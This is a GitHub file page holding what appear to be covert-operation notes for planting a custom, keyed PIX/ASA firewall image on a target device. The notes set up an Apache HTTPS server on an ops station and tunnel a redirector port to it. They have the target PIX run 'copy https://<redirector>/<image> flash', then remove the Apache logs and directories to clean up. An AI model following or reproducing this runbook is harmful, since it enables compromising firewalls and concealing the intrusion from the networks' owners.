This repository was archived by the owner on Dec 23, 2025. It is now read-only.
Repository navigation
Expand file tree
/
Copy pathapache
More file actions
67 lines (48 loc) · 1.93 KB
/
Copy pathapache
File metadata and controls
67 lines (48 loc) · 1.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# Before you even get to the op, you need to create a PIX/ASA IOS image,
# key it, and test it. Bring the image and the key to the op. Always run a
# Full sampleman before coping up an image to target
########## How to get Apache installed on the ops station ##########
#
# cd to the Apache tools directory
cd /current/bin/FW/TOOLS/Apache
# Run this first to get the RPM to install without issue
rpm -e httpd httpd-suexec mod_ssl apr-util
# Run this next to load apache rpm's
rpm -hiv *.rpm
# In this directory is modified versions of the config files
cp httpd.conf /etc/httpd/conf/httpd.conf
cp ssl.conf /etc/httpd/conf.d/ssl.conf
# Create a test html file
echo "<html><body>This is a test</body></html>" > /var/www/html/index.html
# Put the image file you want to up/download into this directory with a
# common name:
cp /mnt/zip/<project>.<ip>_bg2200_pix633.bin /var/www/html/pix633.bin
# Set permissions for items in html directory
chmod 744 /var/www/html/*
# Start up the apache server
service httpd start
# Start up your browser to verify it works.
# You should get a pop-up asking to verify the ssl cert.
# Then you'll get the index.html page which will say "This is a test".
firefox https://127.0.0.1:4443 &
# Setup a remote listener on 443 on redirector to hit apache on 4443
-tunnel
r 443 127.0.0.1 4443
# Now you are ready to go to the target pix and run this command
copy https://<ip of redirector>:<port if !443>/<name of image file> flash
# Log off of the pix
exit
######## Getting Ops Station Back to normal ########
#
# Once the upload is done, stop apache
service httpd stop
# Remove installed rpm's
rpm -e httpd httpd-suexec mod_ssl apr-util
# Then you need to remove any directories still remaining.
rm -rf /var/log/httpd /etc/httpd /var/www
#### OTHER INFO ####
# To install apache, you need 3 rpm's:
# httpd-2.0.52-19.ent.i386.rpm
# httpd-suexec-2.0.52-19.ent.i386.rpm
# mod_ssl-2.0.52-19.ent.i386.rpm
# apr-util-0.9.4-17.i386.rpm